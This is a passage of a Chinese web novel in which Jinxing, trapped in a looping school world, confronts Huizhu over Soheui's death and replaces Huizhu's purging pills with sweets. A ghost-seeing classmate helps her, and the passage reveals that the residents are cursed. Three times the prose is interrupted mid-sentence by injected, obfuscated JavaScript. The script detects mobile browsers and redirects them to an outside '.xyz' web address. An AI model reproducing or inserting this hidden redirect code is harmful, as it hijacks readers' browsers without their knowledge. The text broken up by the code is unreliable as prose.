“想说什么？”珍星从她身后走到她身边，显得很有耐心。 “你......你，很想素熙吗？”惠珠只能问。 在她的记忆里，她和珍星的相处日常约等于无。 总是迎面相遇，然后擦肩而过，或者她去偷看素熙时会被珍星撞见。 珍星比素熙更快发现自己，但却从来都不说什么。 在那个瞬间，惠珠想她知道原因。 因为珍星并不在乎自己，也并不在乎，素熙。 “对啊。”珍星的声音穿透那个过去抵达现在。 是截然相反的态度，这让惠珠深呼吸起来。 她变得很紧张又或者充满了攻击性。 当她领着珍星来到自己的房间门口，珍星发现两个人原来交换了房间指着正要感慨这份缘分时，惠珠的一口气终于以极其恶意地方式问出口。 “那你为什么要伤害素熙？”惠珠的问题问得很腼腆。 她嘴里的“伤害”也许是大家传来传去的素熙死前见到的最后一个人是珍星，珍星害死了素熙。 也有可能是同学口中明确指出的珍星在比赛前放了玻璃碎片在素熙的舞鞋里。 又或者是让素熙摔断双腿的元凶就是珍星。 珍星放在门把上的手因为这个问题顿住，一部分原因是被惠珠的质问问住了，另一部分则是脑子里因为这个问题所展现出的记忆。 珍星看见了一双崭新的新舞鞋，然后这双舞鞋里放了被她无意中砸碎的玻璃杯碎片。 她还看见了从背后拥抱住自己的素熙，然后素熙从她身前的楼梯无休止地滚动。 尖叫声在她脑子里炸开。 顶着尖叫声，珍星维持着脸上的笑容，这也许会让人说她真是个没心没肺的人。 但幸好，眼前的人是惠珠。 “如果是我害死素熙，我也会去死。” “可你现在没死。” “因为素熙没死。”珍星带着执拗，打开惠珠的房间门。 屋内很平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644456|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静，如果非要说有什么异动，就只有没关上的窗户因为风的吹动发出吱呀呀的响声。 珍星看进去，笑起来。 “就像现在一样，惠珠的房间里没有鬼。” “没有素熙的鬼魂。” 她不会质疑这个世界，不会质疑她们的指责，也不会为自己辩解。 因为珍星知道，此刻她只是戏中人，她要扮演好自己的角色。 不过因此，她也没有义务向谁解释不存在的原因。 因为素熙没有死。 “好了，我陪你进去。” 珍星伸出手，示意惠珠害怕的话就牵住她的手。 “我帮你把窗户关上，好像要下雨了。” 惠珠坐在自己的床上，无声地看着珍星为自己的房间“检查”。 一切正如她刚才说的那样，什么也没有，奇怪的不奇怪的，都很平静。 最后，珍星的视线放在了桌面上很明显的白色药品。 她随手拿起来，惠珠就立刻站起来。 惠珠不知道珍星会表现出怎样的态度。 也许和班级里那些人一样，又或者她也是赌局的一份子。 大家都在赌惠珠的瘦能坚持几天。 “等一下——” 然而，珍星却拧开瓶盖，直咚咚地在嘴巴里倾倒药片。 “不要吃。会很痛苦。” 惠珠甚至表现得很激烈，伸手掰开了珍星的嘴巴，想要将她吞进去的药片抠出来。 “不要吃，这很难受。”她呜咽起来。 珍星轻而易举地掰开她的手，吞下了药片。 她还将药瓶朝着惠珠的手掌上倾倒。 “怎么、是这个？”惠珠呢喃着。 她盯着手里五彩斑斓的糖果片，感到很疑惑。 “那就不要吃下痛苦。” 珍星将药瓶全部放在惠珠手里，惠珠也才看见，自己用来催吐的药物全部被替换成了糖果。 她下意识地问：“什么时候？” 是什么时候被珍星换掉的。 珍星只是俏皮地眨眨眼睛，她说：“这是个秘密。” 惠珠毫不留情地戳破她的神秘：“是刚才对吧。” 搬东西的时候，她主动撞到珍星的时候。 是那个时候，被珍星拿走了瓶子。 但这点解密并不够，这无法回答惠珠心中的疑惑。 比起这个，更大的疑惑在于“为什么要这样对我”。 这听起来是个很有怨气的悲情问题，放在惠珠身上却翻了过来。 她在问珍星：为什么要对我这样好？ “如果生命只剩一天，我会怎么做。” “抱着这种想法去做每件事，所以我这样做了。” 珍星又一次，在没有听见惠珠真实说出来的问题下，回答了她。 “只是因为你是惠珠。” 下一秒，窗户被强烈的一阵风吹开，大风席卷整间屋子，并不是为了伤人而是为了卷出屋内被藏好的一张纸。 正好地，飘在了珍星手上。 珍星一低头就能看见，惠珠原本想说的话也因为这张纸吞咽回去。 这是一张录取通知书，珍星拿到它的瞬间，脑海中又解锁了一段记忆。 被头发遮挡住眼睛的惠珠走到宿舍信箱，在阿姨询问她要取谁的信时，惠珠一开始支支吾吾声音弱小。 但从某个瞬间开始，她掀开厚重的刘海，亲切又自然地笑起来。 “阿姨，我来取宋珍星的信，是她的录取通知书。” “你帮她取？” “内！我们是很好的朋友，她今天有点忙就让我帮忙取了。” 亲和力满分的人拿着信雀跃地走进珍星的房间，游刃有余地跳了一小支舞，自顾自地拆开信封。 声情并茂地朗读起录取通知书的全文。 “dearzensing......” “为什么不直接写俄语呢？” “不过这并不重要。” 她一边读，一边将薄薄的一张纸撕成碎片，撕成碎片还不够。 “嗯哼哼——哼哼——”她哼着愉悦的曲调。 她又耐心地将纸片聚拢在手心里，带回自己的房间，点燃烧成灰烬。 “珍星要去的地方实在太远了.” “没有我的陪伴，珍星会很孤单的。” “所以，不可以离开啊，珍星。” 她弯弯嘴唇，露出了纯洁又残忍的笑，只需要嘴角上扬但眼神向下，就能做到。 46. 爱之重要性 依稀能记得那一天的阳光在走廊投下的地方，并不是光明，而是一点阴影。 仿佛在窄窄的横向扶手上走着独木桥的珍星被阴影下的一只手猛地拉下去。 那是保护，是关心，更是溺死的水鬼因为不甘伸出的触手。 “珍星呐，不要让我找不到你。” “我会很担心。” 那是素熙，眉眼弯弯，被所有人都喜欢的素熙，天赋异禀游刃有余，能做好所有事情。 如果非要问她有什么不擅长的。 也许她并不擅长怎么样许好一个愿望。 “请让我和珍星永远在一起。” “在一起吧，狐狸。” 这是个有太多漏洞的愿望，所以才会被自私的啄木鸟叮得面目全非。 啄木鸟只管树洞里的虫子，至于将树木啄成两半有关它什么事呢。 这大概是珍星来到这个世界的第二天。 前一天夜里，她试图和惠珠缓和关系，但却毁在那张已经化成灰烬又凭空出现的录取通知书上。 珍星尚未表明态度之前，惠珠就将她赶出了自己的房间。 说赶倒也不够准确，惠珠只是低下了头，不敢看珍星也不敢再和她说一句话。 于是珍星知道她该离开了。 夜晚的她似乎做了个梦，可她忘记了。 醒来的珍星于是激励自己，这说明她睡了一个好觉。 即使她明明知道，她的梦境里往往会出现至关重要的人和信息。 珍星又一次被叫去金老师的办公室，金老师告知了她一个并不新鲜的消息。 “说到消息，我们班的珍星同学已经被俄罗斯艺术学院录取了，大家鼓个掌为珍星同学庆祝一下吧。” 艺术史老师又一次说了相同的话。 大家的反应还是一样的淅淅沥沥，有的直接发出不耐烦地嗤声，有的则假模假样地笑一笑。 珍星意识到，这是她正在循环着昨天的事情。 艺术史一下课，班级内的人就急匆匆地冲出去，传消息的也好，造谣的也罢。 几乎与昨天无二。 当然，也是有不同之处的，比如这一次的大课间，英妍并没有来找自己。 珍星猜想，也许是因为昨天的英妍还没有被黑影发现，但接触了自己之后，黑影就把她踢出这个世界了。 当然，最好是这样。 否则，英妍也可能遭遇了危险。 想起她，珍星又想起了另一个人。 “你好同学，可以帮我叫一下草雅吗？” “莫拉古？我们班有这个人吗？” 珍星站在一年a班的门前，探出头一边对刚出来的同学提出请求，一边打量着班级内部。 她的眼神转啊转，一个恍然就对上了靠窗的一侧的人。 她并非心有所感地看过去，只是因为教室的布局都一样，而珍星习惯性地朝着自己在班上的位置看过去。 “草——雅——” 珍星对着那张冰山脸一笑，而刚才还在疑惑她嘴里的人是谁的学生也随之看过去。 “啊……是她啊。那个怪人。” 不是不记得，只是习惯性忘记。 草雅缓慢起身，向外走的时候突然感受到了一阵视线，她回头对上了第一排的一个女生。 草雅稍微花了点时间去想对方，想起来时候确认是自己不熟的人，于是又抛之脑后。 而这一切，在珍星看来全是波澜不惊的冷淡表情。 “你来找我？”草雅似乎问了个蠢问题。 明明珍星已经叫了她好几次。 但她似乎乐意再看珍星点头一次，也不会将心里的想法说出来——你居然能找到我。 “又要让我帮你看身边的鬼吗” 草雅了然地点点头，然后拉住珍星的衣袖向外走了一点。 两个人靠在走廊栏杆上。 珍星低头还能看见处在花期的木槿花。 真是恍然，什么都没变一样，却明明什么都变了。 “我没有看见。” 草雅的声音也足够冷淡，嘴里像含着冰块，听她的回答会下意识觉得她迫不及待地想要结束对话。 但真相却是，如果你一直问她问题，她会一直回答你。 直到什么时候，直到你厌倦为止。 “她是对你很重要的人吗？” 草雅主动问了问题。 珍星点头，几乎没有犹豫，而草雅感到更加好奇。 “什么样的重要？” “重要，也分种类吗？” 这下轮到珍星疑惑了。 “嗯。” 音乐老师恰好从她们身边走过，草雅都不需要歪头仔细去看，光是靠耳朵听，都能听见跟在老师身边的那个女学生的鬼魂在说什么。 “老师，你今天看起来好疲倦，昨晚没有睡好吗？” “等会儿我给你唱安魂曲怎么样，你需要休息了老师……” “可以给我带草莓布丁吗？我好想吃。” 假装正常的老师低下头悄声说。 “你又吃不到。” “老师帮我吃掉，我就会觉得很满足。” 原来兜兜转转只是想让你开心一点。 “有的重要，只要那个人好自己就好。” 草雅从她们身上得出这样的结论。 珍星不假思索地追问：“别的呢？” 草雅想了一下，想到了自己的父母，相爱的一对夫妇，因为其中一个早亡，另一人于是付出了残酷的代价换取了仍旧幸福的机会。 最后，她们都死了，活着的只有那个“代价”。 这就是草雅的诞生，她是父母结合的惩罚，而非结晶。 “还有的，宁愿牺牲掉什么也要换取和一个人永远在一起的机会。我想，这也是表现重要的一种形式。” “可是这样太过残忍了。”草雅默默补充。 “我想，我帮不了你。”草雅想通了什么，主动与珍星划清界限。 可她不知道，此刻珍星是绝不能“放过”她的，草雅的特殊性不仅仅只是见鬼这么简单。 她的存在让珍星得以区分这个世界的真假与流动。 “不会的，草雅你只要一直在，对我而言就是很好的帮助了。” 也许是因为游离在人鬼之间，草雅反而成了这个世界的锚点，任何迷途者见到她就会知道自己仍在旅途之中。 说直白些，草雅会是珍星在这个世界唯一准确的时钟。 “你？”草雅转过头，欲言又止。 珍星笑了笑，丝毫不觉得自己说的有问题。 暑假和素熙一起经历了生死离别的经历后，珍星特地去镇上的图书馆借来一本《如何成为一个好的朋友》。 【1.总是对你的朋友微笑 2.从来不吝啬对朋友的夸赞 3.无论如何都不要忘记朋友 4.记得经常和你的朋友见面】 “我不会忘记你的，草雅。” “明天我们再见面吧。” 珍星再次扬起微笑，再不等草雅有什么反应，愉快地离开了。 然而，她还没走几步，就被草雅追上。 “怎、怎么了？” “你有想过你对那个朋友的在意是哪一种吗？” “只是朋友吗？” 草雅用那双洞察一切的双眼直直盯着珍星。 她的提问显得很突兀，又不得不说是恰到好处。 “为什么，这样问？”珍星感到错愕。 “因为在我刚刚说的种类里——” “第一种是爱。” “第二种呢？” “也是爱。” 猛烈的上课铃，叮铃铃如一捧火点燃了珍星心中的休眠火山。 “我对素熙抱着什么样的感情？” 珍星问自己。 她的脑子里似乎闪现出昨夜的梦。 昏昏沉沉的夜，醉醺醺的家伙，第一颗启明星亮起来之时，她抱着抢来的狐狸头套得意地笑起来。 而她对面的少女摸着脸颊一角。 她笑得开怀，更有恶作剧的意思。 “我要狐狸大人你永远都能为我实现愿望。” “太贪心了。” 始终模糊的两张人脸，但珍星可以解锁其中一人，那是她自己。 “我、我吗？”珍星向前走，不知不觉走到了练舞室里，她停下来。 进入了新的节点，毫无变化的一天终于迎来了新的一幕。 同个班级的女生们唱着欢乐颂走出来。 中间的女生们捧着一个大蛋糕。 “粗卡嘿！恭喜你呀珍星。” 任何一个当事人见了这一幕都会热泪盈眶，因为渴望被接受的自己终于被接纳，被祝福。 “珍星？你不过来吹蜡烛吗？” 当然这并不包括珍星。 她只是站在原地，仿佛没睡醒一样，关上门又拉开了门，发现大家仍然站在原地。 这不能用做梦来骗自己了。 那么—— “不好意思，我对奶油过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644457|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敏。” “谢谢你们。” 珍星再次关上门，甚至连门内女生们的对白也懒得听。 “她怎么走了？” “不是说用这招肯定能整到她吗？” “切——胆小鬼罢了。” 珍星又走了一会儿，结果却发现，她又走了回来。 “恭喜你呀珍星，其实我们一直都觉得你是有资格得到这个名额的。” “你一直都很努力，很用功……” “我……” 珍星停住再次关门的手，这个方法不可用。 她又开始思考，类似的节点之间有什么共同性，以便找到解决方法。 特点是，大家的眼中都有一个固定形象的“珍星”。 第一次，大概是相片，虽然不知道是否也有重复机制，但主角是素熙。 第二次，昨天晚上和惠珠的相遇时经历的一切，主角是惠珠。 现在呢？这一次的主角是谁，珍星要做什么？ 接受吗？ 珍星试探性地朝着大家走去。 “谢谢你们。”她弯腰向大家鞠躬。 并且依照上一次的对话，抬头想要吹灭蜡烛，然后被奶油袭击脑袋。 “真好笑。” “你还真以为我们接受你了。” “你这个害死素熙的凶手。” 人群散去，珍星抹开眼睛上的奶油走了出去，平静地向前走。 然后…… 她又走到了练舞室前。 “粗卡……” “你疯了吗？” “疯子，滚开。” “不是要祝福我吗？” “我只是想让你们沾沾福气。不用感谢我。” 这一次，珍星选择一言不发地将蛋糕夺过来，快速地将她们准备的奶油炸蛋回赠给每个人。 出口恶气，会是正确答案吗？ 她不能一直被困在这里，珍星想。 “恭喜你呀珍星……” 可她越想逃走，就越无法逃走。 循环重来了很多次，抱着置身事外想法的珍星也逐渐燃起了愤怒。 她想，为什么，又是我。 脑子里也因此出现了被大家戏弄之后的画面，狼狈的珍星低着头，眼神里带着狠劲。 凶狠之下更深的是失落。 她只能告诉自己，在这无人的空教室里坚定语气地说：“不是我的错。” “我本来就没有错。” 在这个瞬间，珍星意识到了“珍星”的存在，她是这个世界的配角。 充分贯彻着“欲使其亡，先令其狂”的原则，仿佛小说故事里那个为人讨厌的配角。 自私，自负，自卑…… 想到这一层之后，属于“珍星”的记忆又往前推移，珍星看见了她的做法。 一开始她感激，她欣喜大家终于接受她，认可她。 后来她发现这只是一场“恶作剧”，比恶作剧还要恶意的报复。 她们在自以为是地替素熙报复自己。 于是“珍星”爆发出了怒吼。 “为什么不能是我？我比你们在场的哪一个人差了？” “就一定得是素熙才可以吗？” “我不努力吗？我没有付出汗水吗？我没有帮助过你们吗？” 她质问，她生气，她宣泄。 这就是离开这个循环节点的钥匙，是正确答案，珍星又站在这扇门前。 她有了答案，但却不免有些紧张。 终于，她拉开了门。 “你们要对我开玩笑吗？” “还是要报复我？” “为了死去的素熙报复我，对吗？” “可是，你们对素熙的喜欢，有我多吗？” 珍星关上了门，不再管门内什么反应。 她大步向前，脸蛋微微泛红，显然她也知知道自己说了什么离谱的话。 可她不是那个“珍星”。 她爱芭蕾，《吉赛尔》是她最爱的舞剧，吉赛尔是她最想成为的中心角色。 可在此之前，她最爱的是在旋转中晕眩着成为世界中心的感觉。 而不是成为谁。 她也曾将素熙视作最大的对手。 但一定有更好的选择，不一定非要你死我活，鱼死网破。 不一定非要二选一。 她不会成为谁，除了她自己。 最后，珍星收到了一条短信。 【来地下室找我好吗？我想为你庆祝。 ——你的素熙】 47. 等待进入网审 金属盖子发出并不清脆的声音，上面锈迹斑斑，这是地下室里一把放了很久的火机。 有多久呢？ 大概比这座学校的出现玩不了多少，好在她仍然能发挥出自己的作用。 这属实很“幸运”。 惠珠握着它，一下又一下地打火。 可惜的是，火花迟迟不肯出现，这也很正常，虽然形状完整，但火机盒里不一定还有油。 “其实，她不爱你的。” 一滴泪滴下来，此刻眼泪化作煤油，带动出了火花，火花坠落地面的瞬间。 火焰四起，酝酿着一场吞噬一切的大火。 这黑发的少女正像一颗成熟到枯萎的罂粟果实一样，漆黑一片，只剩下烟雾。 这些烟雾具有成瘾性作物，因此会让她自身一遍又一遍沉溺在火焰中。 于是，惠珠自己也不知道经历了这样的场景多少次，她只记得当她第一次“活”过来时，那声音这样对她说。 “好好享受我给你的礼物。” “死亡不是一切的终点。” 偶尔，那股让她复活的力量也会很仁慈，让她不必像推石人西西弗斯一样周而复始地循环由她自己造成的火刑。 而是把她的生命向前拨，拨到一切开始的地方，或快速或缓慢地经历从前，直到现在。 一开始惠珠并不清楚这是为什么。 久而久之，她发现了这其中的规律。 当生人进入这个“世界”中，随着开始到结束的时间，就是惠珠脱离火焰死亡的时间。 只不过，最后都会迎来终点，对于她来说，只需要在接下来的过程中仍由自己的意识放空让身体行动，重蹈覆辙到再次死于大火之中就好了。 “如果这就是漫长的永生。” “好难受。这样好痛苦。” 惠珠在一个人的拥抱里，终于忍不住倾诉出自己的难过，日积月累已经化成了漆黑的汪洋。 是不见天日，绝望又痛苦的永夜。 是她的受刑日，昨天、今天、明天，每一天。 “请为我终止生命吧。” “求求你。” 她拉住对方的手恳切地请求道。 任谁来看，她此刻最想要的都是解脱，是卸下那块大石头，或者被石头彻底碾压。 怎样都行，就是不要再次重复。 “你想要的是这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651706|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？” 回抱住她的人询问，声音里带着不确定地虚弱感。 “可是你要付出什么代价呢？” 那个打破她循环的“善良人”温柔地询问。 似乎在等待着惠珠说出那句“什么都可以”。 “真的什么都可以吗？” “我知道了。” 黑雾笼罩在惠珠身上，她沉沉睡去，又再度醒来，这分明是对方违背约定的最佳证据。 可惠珠本人却像无事发生。 她怎么了？ “忘记也是一种解脱。” “我需要你呀，惠珠。” 莫名的声音在新一轮循环里响起，惠珠即使听见这样的话也无动于衷。 因为她已经彻底失去了自己。 这个世界所存在的人几乎都是以这样的方式存在，一开始她们带着记忆痛苦地循环。 终有一天忍受不住了开始求饶。 殊不知，恳求的人就是造成一切的元凶。 她嘴里说的机会、帮助、交易从一开始就是个骗局。 谁能来解救她们呢？ 我吗？ 你吗？ 还是谁呢？